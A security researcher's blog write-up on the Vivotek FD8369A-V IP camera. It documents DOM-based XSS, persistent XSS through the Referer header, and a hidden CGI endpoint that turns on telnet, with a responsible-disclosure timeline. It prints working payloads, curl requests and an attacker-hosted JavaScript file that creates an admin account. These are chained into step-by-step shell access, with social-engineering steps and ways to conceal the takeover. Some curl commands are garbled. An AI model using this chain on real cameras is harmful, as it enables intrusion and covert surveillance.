Vivotek IP Camera Vulnerabilities Discovered and Exploited

Demonstrating how remote attackers can gain control of the Vivotek FD8369A-V IP camera.

As a personal project, I took it upon myself to research and discover vulnerabilities within various embedded devices, such as a Network Attached Storage (NAS), IP camera, and router. In this blog, I will be going over how I found DOM-based XSS, Persistent XSS, a hidden CGI endpoint to enable services, and how we can use these vulnerabilities to acquire a remote shell on the Vivotek FD8369A-V camera, firmware version 0206b.

Initial Reconnaissance

It is important to realize that the growing amount of services and features in embedded devices has also increased the attack surface available to remote adversaries. Keeping this in mind, let’s gather some information about the camera by using Nmap to enumerate open ports and services running on the FD8369A-V.

PORT STATE SERVICE VERSION

80/tcp open http Boa httpd

443/tcp open ssl/http Boa httpd

554/tcp open rtsp Vivotek FD8134V webcam rtspd

8080/tcp open http Boa httpd

From the resulting information, we can see that the FD8369A-V appears to be hosting a web application interface on a Boa web server, as well as a real-time streaming protocol service for viewing a live video feed from the camera. Nothing out of the ordinary…

Let’s get started by taking a look at the web application and searching for web-based vulnerabilities that can be leveraged to gain access or potentially compromise this device.

Finding DOM-based XSS (CVE-2018–18005)

After successfully authenticating to the camera’s web interface, we are presented with a live video feed from the camera, as well as various configuration settings and navigation options to choose from. Let’s proceed to map the application’s various endpoints while taking note of any potential entry points for injection, such as URL query strings or any client-controlled parameter fields.

One of the endpoints I discovered allowed a user to view the contents of an XML document that was uploaded as an event script as shown below.

https://10.42.4.117/setup/event/event_script.html?index=0

I was curious as to how the index query string parameter was being handled and decided to debug the client-side JavaScript code.

From the snippet above on line 55, we can see that the application is taking a query string parameter, in this case index , and using it within the context of JavaScript’s eval() function. Knowing this, we can supply the following URL to trigger a DOM-based cross-site scripting vulnerability in the context of a victim’s browser through the camera’s web interface.

https://10.42.4.117/setup/event/event_script.html?alert(document.domain)

Clicking the link mentioned above will result in the following.

With that, we now have DOM-based XSS that is triggered when an authenticated user clicks on a maliciously crafted URL containing our payload.

While this is a valid attack vector, it requires more investment as an attacker than we’d like. Since our goal should be to minimize the amount of victim involvement, let’s dig a little deeper and continue our search for vulnerabilities.

Finding Persistent XSS (CVE-2018–18244)

During the process of mapping the camera’s various endpoints and functionality, I discovered that the application supplied verbose log information pertaining to the various backend services and miscellaneous error messages.

Since verbose logging can assist in discovering unexpected application or service behavior, I made sure to keep an eye on it while performing my authorization and additional injection tests. Because of this, I was able to observe that the camera’s logging service also included information regarding unauthorized attempts to access the application’s CGI endpoints. In addition to these “unauthorized access” log messages, the HTTP Referer header from the originating request was being included as well.

Due to the fact that the Referer header is a client-controlled value that can easily be modified using an HTTP intercepting proxy, such as Burp Suite, or a command line utility, such as cURL , an attacker can issue the following cURL request to trigger an “unauthorized access” log message containing a cross-site scripting payload.

curl -i -s -k -X $'GET' \ -H $'Host: 10.42.4.112' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: http://test.com/test.html?<script>alert(\'XSS TEST\')</script>' -H $'Connection: close' \ $'http://10.42.4.112/cgi-bin/privilege.cgi'

Issuing the request above will result in the following response, just as we expect.

HTTP/1.1 403 Forbidden

Date: Fri, 05 Oct 2018 20:26:39 GMT

Server: Web Server

Accept-Ranges: bytes

Connection: close

Content-Type: text/html; charset=ISO-8859-1 <HTML><HEAD><TITLE>403 Forbidden</TITLE></HEAD>

<BODY><H1>403 Forbidden</H1>

Your client does not have permission to get URL /cgi-bin/privilege.cgi from this server.

</BODY></HTML>

Now, when an unsuspecting user visits the camera’s web interface and views the /setup/system/syslog.html endpoint, arbitrary JavaScript will be executed in the context of the user’s browser.

After allowing the page to continue execution, we see the Referer header embedded in the logs.

Enabling Hidden Services (CVE-2018–18004)

Ideally, to expedite the search for vulnerabilities in embedded devices, such as the camera, we would enable an SSH service to connect to the device and pull files, such as the camera’s web root directory for static analysis. However, since there is no way to enable such functionality through the camera’s web application interface, we’ll have to refer to the manufacturer’s website for the firmware, which we can obtain here. If Vivotek, Inc. did not publicly provide firmware, we could resort to obtaining a physical shell through the device’s debugging ports. However, since this is not the case we can proceed to download the firmware file from the manufacturer’s website.

Upon downloading the firmware file, I used binwalk, a command line tool used for searching firmware images for embedded files and code, to extract the file system currently in use by the camera.

binwalk -e FD8369A-V-VVTK-0206b.flash.pkg

...

mkdir Demo

...

tar -xvf _FD8369A-V-VVTK-0206b.flash.pkg.extracted/31 -C Demo/

...

binwalk -e Demo/rootfs.img

...

After extracting the camera’s file system from the rootfs.img file, I began to look through the various CGI files and came across one that appeared to allow users to enable or disable various services.

Contents of /cgi-bin/admin/mod_inetd.cgi

#!/bin/sh

strparam=`echo $QUERY_STRING | sed 's/=/ /g'`

/usr/bin/mod_inetd_conf $strparam

echo -ne "Content-type:text/plain\r

"

echo -ne "Content-length:2\r

"

echo -ne"\r

" # end of HTTP header

echo OK

…and the contents of /usr/bin/mod_inetd_conf

#!/bin/sh

#

# Note: This script will turn on/off the listend port of inetd

# If there is no arguments, it will list the /etc/inetd.conf

# example:

# mod_inetd_conf telnet on — turn on the telnetd

# mod_inetd_conf telnet off — turn off the telnetd INETD_CONF="/etc/inetd.conf"

SERVICES="/etc/services"

REAL_INETD_CONF=`realpath $INETD_CONF`

REAL_SERVICES=`realpath $SERVICES`

IS_CHANGED=0 temp_var=`echo $2 | grep 'on'`

if [ -n "$temp_var" ]; then

sed -i -e "s/^#\($1[[:blank:]].*\)$/\1/" $REAL_INETD_CONF

IS_CHANGED=1

fi temp_var=`echo $2 | grep 'off'`

if [ -n "$temp_var" ]; then

sed -i -e "s/^\($1[[:blank:]].*\)$/#\1/" $REAL_INETD_CONF

IS_CHANGED=1

fi if [ $# -ge 3 ]; then

echo "Change service $1 port to $3"

sed -i -e "/^$1[[:blank:]]/{s/[0–9][0–9]*/$3/}" $REAL_SERVICES

IS_CHANGED=1

fi if [ $IS_CHANGED -eq 1 ]; then

/etc/init.d/inetd reload

fi

cat $INETD_CONF

From the two files listed above, we can determine that the hidden mod_inetd.cgi endpoint is responsible for enabling various services, specified through a URL query string parameter.

Using this information, let’s enable the telnet service by cURLing the following request so that we can acquire a shell on the device.



-H $'Host: 10.42.4.117' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0' -H $'Referer: 10.42.4.117' -H $'Authorization: Basic cm9vdDpUZXN0MTIzIQ==' \

--data-binary $'\x0d\x0a' \

$' curl -i -s -k -X $'GET' \-H $'Host: 10.42.4.117' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0' -H $'Referer: 10.42.4.117' -H $'Authorization: Basic cm9vdDpUZXN0MTIzIQ==' \--data-binary $'\x0d\x0a' \$' http://10.42.4.117/cgi-bin/admin/mod_inetd.cgi?telnet=on'

If we cURL the request above, we should see the following.

HTTP/1.1 200 OK

Date: Tue, 23 Oct 2018 00:29:32 GMT

Server: Web Server

Accept-Ranges: bytes

Connection: close

Reloading configuration inetd: .

telnet stream tcp nowait root /usr/sbin/telnetd telnetd -i

Content-type:text/plain

Content-length:2 OK

With that, we now have a telnet service listening on the Vivotek FD8369A-V camera.

Tying it All Together

Although we can enable the Telnet service, doing so requires us to be authenticated. However, if we take advantage of the camera’s various weaknesses, and the fact that the FD8369A-V is vulnerable to persistent XSS, we can store a JavaScript payload that will force the victim’s browser to reach out to an attacker controlled server, embed the contents of a malicious JavaScript file, and create an administrative user on the camera.

If attackers are able to create an administrative account, they could view the live video feed of the camera, modify configuration settings, or enable the Telnet service and obtain a shell on the device.

Let’s proceed to list out the steps an attacker could follow to fully compromise the FD8369A-V.

Step 1. Identify and gain access to communicate with the camera on a public or local network.

Identify and gain access to communicate with the camera on a public or local network. Step 2. Host the following JavaScript file on an attacker controlled server that will cause the victim’s browser to issue a request to the endpoint responsible for creating a new user.

var x = new XMLHttpRequest();

x.open("POST", "/cgi-bin/admin/editaccount.cgi", true);

x.send("index=21&tempname=xssUser&userpass=Test123%21&confirm=Test123%21&privilege=admin&username=xssUser&method=add&return=%2F");

Step 3. cURL the following request, containing JavaScript in the Referer header, to the target device.

Step 4. Use social engineering to convince the victim to visit the camera’s vulnerable endpoint ( setup/system/syslog.html ) containing our malicious payload.

Victim’s client issuing request to retrieve malicious JavaScript source file.

Victim’s client issuing XHR request to create administrative user.

Step 5. When the script has been requested from the attacker controlled server, visit the FD8369A-V’s web interface and log in using the newly created administrative account.

When the script has been requested from the attacker controlled server, visit the FD8369A-V’s web interface and log in using the newly created administrative account. Step 6. cURL the following request to enable the Telnet service, this time using our newly obtained account credentials.



-H $'Host: 10.42.4.117' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0' -H $'Referer: 10.42.4.117' -H $'Authorization: Basic eHNzVXNlcjpUZXN0MTIzIQ==' \

— data-binary $'\x0d\x0a' \

$' curl -i -s -k -X $'GET' \-H $'Host: 10.42.4.117' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0' -H $'Referer: 10.42.4.117' -H $'Authorization: Basic eHNzVXNlcjpUZXN0MTIzIQ==' \— data-binary $'\x0d\x0a' \$' http://10.42.4.117/cgi-bin/admin/mod_inetd.cgi?telnet=on'

Step 7. Telnet into the device using our account credentials.

But wait, there is a problem. As it turns out, when a new user is created on the FD8369A-V, the default shell associated with that user is /bin/bash . However, the only shell that the camera supports is /bin/sh . The default root user’s account is the only one with the correct shell enabled. Since the camera does not require knowledge of users’ old passwords when changing them, an attacker can wait for an appropriate time (while not in use) to change the root user’s account password through the web interface, telnet into the device, and change the shell associated with the attacker’s account.

To prevent the victim from being permanently locked out of the camera and performing a hard-reset, an attacker can proceed to modify the camera’s backend to prompt the victim to change their password or convince them that their password has been changed due to a system update.

Conclusion

In this post, we showed how a remote attacker can potentially compromise the FD8369A-V by using a chain of vulnerabilities found within the camera. Given the ability to communicate with the camera over a network, an attacker can potentially target all of Vivotek, Inc.’s cameras running firmware version 0206b.

Responsible Disclosure Timeline

Initial Contact: October 2, 2018

Vulnerabilities disclosed: October 2, 2018

Vendor response: October 3, 2018